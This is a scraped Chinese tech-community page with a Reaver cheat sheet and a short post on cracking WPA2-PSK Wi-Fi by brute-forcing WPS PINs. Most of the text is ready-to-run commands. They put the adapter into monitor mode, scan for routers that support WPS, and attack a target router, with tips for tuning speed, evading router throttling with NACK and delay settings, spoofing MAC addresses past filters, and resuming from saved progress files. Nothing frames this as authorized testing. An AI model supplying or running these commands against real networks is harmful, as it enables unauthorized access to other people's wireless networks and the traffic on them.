首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Reaver 基本用法示例「建议收藏」

    大家好,又见面了,我是你们的朋友全栈君。airmon-ng start wlan0 //启动mon0监控 reaver -i mon0 -b MAC -a -S -vv //普通用法 如果,90.9%进程后死机或停机,请记下PIN前四位数,用指令: reaver -i mon0 -b MAC -a -vv -p XXXX(PIN前四位数) 其他命令 airodump-ng mon0 用来扫描周围无线信号 wash -i mon0 -C 这个是用来检测周围无线支持PIN的路由 如果一直pin不动,尝试加-N参数 reaver -i mon0 -b xx:xx:xx:xx:xx:xx -d 0 -vv -a -S -N 也可以加延时 -t 3 -b 3 常用参数释疑 -i 监听后接口名称 网卡的监视接口,通常是mon0 -b 目标mac地址 AP的MAC地址 -a 自动检测目标AP最佳配置 -S 使用最小的DH key,可以提高PJ速度 -vv 显示更多的非严重警告 -d 即delay每穷举一次的闲置时间 预设为1秒 reaver -i mon0 -b MAC -d 0 用上述指令可以大幅加快PJ速度 但是有些AP可能受不了 -c (后跟频道数) 指定频道,可以方便找到信号 -p PIN码四位或八位 //已知pin码前4位可以带此参数,指定从这个数字开始pin。可以用8位直接找到密码。 -N 不发送NACK信息(如果一直pin不动,可以尝试这个参数) -n 对目标AP总是发送NACK,默认自动 -t 即timeout每次穷举等待反馈的最长时间,如果信号不错,可以这样设置 reaver -i mon0 -b MAC -d 0 -t .5 -m, –mac=<mac> 指定本机MAC地址,在AP有MAC过滤的时候需要使用 小结-PJ时应因状况调整参数: 信号非常好: reaver -i mon0 -b MAC -a -S -vv -d 0 -c 1 信号普通: reaver -i mon0 -b MAC -a -S -vv -d .5 -t .5 -c 1 信号一般: reaver -i mon0 -b MAC -a -S -vv -c 1 当出现有百分数时你就可以用crtl+c来暂停,它会将reaver的进度表文件保存在 1.3版: /etc/reaver/MAC地址.wpc 1.4版: /usr/local/etc/reaver/MAC地址.wpc 用资源管理器,手工将以MAC地址命名的、后辍为wpc的文件拷贝到U盘或硬盘中, 下次重启动后,再手工复制到/etc/reaver/ 目录下即可。

    01

    使用reaver命令穷举PIN码破解WPA2-PSK加密的无线网络[通俗易懂]

    现在的路由器大多都默认用 WPA2-PSK 方式对无线网络进行加密了,不能再像 WEP 加密方式那样好破解,使用字典又需要费心费力地整理字典,而且字典破解的效率还慢。所以我们需要更有效率的破解方法。好在现在大多数的路由器都提供 WPS 功能,通过这个功能,用户可以使用 PIN 码登录到路由器。但这个 PIN 码的长度只有 8 位,而且可能的取值只有11000种(注意,不是 10^8 种)。所以我们可以进行简单粗暴的穷举 PIN 码破解,而且我们可以推断出这种破解方法在目标 AP 开启了 WPS 功能的情况下是可以百分之百破解它的。这其实是很老的破解手段了,但至今依然奏效。

    03
    领券